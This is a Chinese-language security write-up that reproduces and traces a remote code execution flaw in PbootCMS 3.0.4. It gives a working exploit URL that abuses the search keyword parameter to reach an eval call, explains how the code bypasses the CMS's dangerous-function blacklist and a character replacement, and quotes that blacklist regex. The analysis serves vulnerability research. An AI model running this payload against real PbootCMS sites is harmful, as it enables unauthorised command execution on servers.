PbootCMS 3.0.4 RCE
1.漏洞复现
PbootCMS 3.0.4,下载仓库 · 星梦/PbootCMS - Gitee.com
复现
访问触发RCE:http://127.0.0.1/?keyword={pboot{user:x}:if([sys.tem][0]([who.ami][0]));//)}
2.逆向分析
从敏感函数逆向分析
ParserController类
/apps/home/controller/ParserController.php
parserIfLabel方法
敏感函数 eval 位于 ParserController类 的 parserIfLabel方法
public function parserIfLabel($content){
$pattern = '/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
...
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
...
$danger = false;
$white_fun = array(
'date',
'in_array',
'explode',
'implode'
);
...
// 带有函数的条件语句进行安全校验
if (preg_match_all('/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if (function_exists($value) && ! in_array($value, $white_fun)) {
$danger = true;
break;
}
}
}
// 过滤特殊字符串
if (preg_match('/(\([\w\s\.]+\))|(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)/i', $matches[1][$i])) {
$danger = true;
}
// 如果有危险函数,则不解析该IF
if ($danger) {
continue;
}
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
进行 RCE 需要控制 $matches[1][$i] 为可绕过过滤的代码
两层过滤可以这样绕过:[sys.tem][0]([who.ami][0])
还要注释后面的代码:[sys.tem][0]([who.ami][0]));//
$matches[1] 是第一个捕获组匹配到的字符串,也就是 ([^}^\$]+) 匹配到的字符串
<?php
// preg_match_all语法示例
$content = 'x12x';
$pattern = '/x(\d)(\d)x/';
preg_match_all($pattern, $content, $matches);
print_r($matches);
/*
Array
(
[0] => Array
(
[0] => x12x
)
[1] => Array
(
[0] => 1
)
[2] => Array
(
[0] => 2
)
)
*/
那么需要控制 $content 中有这样的字符串:{pboot:if([sys.tem][0]([who.ami][0]));//)}可有可无的任意字符串{/pboot:if}
在 parserIfLabel方法 的开头添加:
var_dump(debug_backtrace());
访问网站主页,看到 parserIfLabel方法 是 parserAfter方法 调用的
array(7) {
[0]=>
array(7) {
["file"]=>
string(89) "D:\environment\phpstudy_pro\WWW\PbootCMS-V3.0.4\apps\home\controller\ParserController.php"
["line"]=>
int(85)
["function"]=>
string(13) "parserIfLabel"
parserAfter方法
同样在开头添加,看看 parserAfter方法 是谁调用的:
public function parserAfter($content)
{
var_dump(debug_backtrace());
...
$content = $this->parserIfLabel($content); // IF语句(需置最后)
访问网站主页,看到 parserAfter方法 是 SearchController类 的 index方法 调用的
array(6) {
[0]=>
array(7) {
["file"]=>
string(89) "D:\environment\phpstudy_pro\WWW\PbootCMS-V3.0.4\apps\home\controller\SearchController.php"
["line"]=>
int(43)
SearchController类
/apps/home/controller/SearchController.php
index方法
public function index()
{
$pagetitle = get('keyword') ? get('keyword') . '-' : '';
$content = str_replace('{pboot:pagetitle}', $this->config('search_title') ?: $pagetitle . '搜索结果-{pboot:sitetitle}-{pboot:sitesubtitle}', $content);
...
$content = $this->parser->parserAfter($content); // CMS公共标签后置解析
用 get函数 获取了 keyword 的值,get函数 应该是 PbootCMS 的一个加密了的函数,一般看不到函数实现
在 $content 替换操作下面添加:
var_dump($pagetitle);
var_dump($content);
在主页进行GET请求:http://127.0.0.1/?keyword=RCE,发现可以插入 $content,并且后面已经有一个 {/pboot:if} 了
string(4) "RCE-"
string(10252) "<!doctype html>
<html lang="zh">
<head>
<meta charset="utf-8">
<title>RCE-搜索结果-{pboot:sitetitle}-{pboot:sitesubtitle}</title>
...
<li class="nav-item {pboot:if(0=='{sort:scode}')}active{/pboot:if}">
在主页进行GET请求:http://127.0.0.1/?keyword={pboot:if([sys.tem][0]([who.ami][0]));//)},发现 : 被替换为了 @
string(43) "{pboot@if([sys.tem][0]([who.ami][0]));//)}-"
ParserController类 的 parserAfter方法
思路回到 parserAfter方法
public function parserAfter($content)
{
...
$content = $this->parserMemberLabel($content); // 会员标签
...
$content = $this->parserIfLabel($content); // IF语句(需置最后)
在调用 parserIfLabel方法 前还调用了 parserMemberLabel方法
ParserController类 的 parserMemberLabel方法
会将 $content 中的 {user:字符串} 替换为空
private function parserMemberLabel($content)
{
$pattern = '/\{user:([\w]+)(\s+[^}]+)?\}/';
if (preg_match_all($pattern, $content, $matches)) {
...
$content = str_replace($matches[0][$i], '', $content);
index方法
思路回到 index方法
在主页进行GET请求:http://127.0.0.1/?keyword={pboot{user:x}:if([sys.tem][0]([who.ami][0]));//)}
string(51) "{pboot{user:x}:if([sys.tem][0]([who.ami][0]));//)}-"
绕过了@替换,成功进行了RCE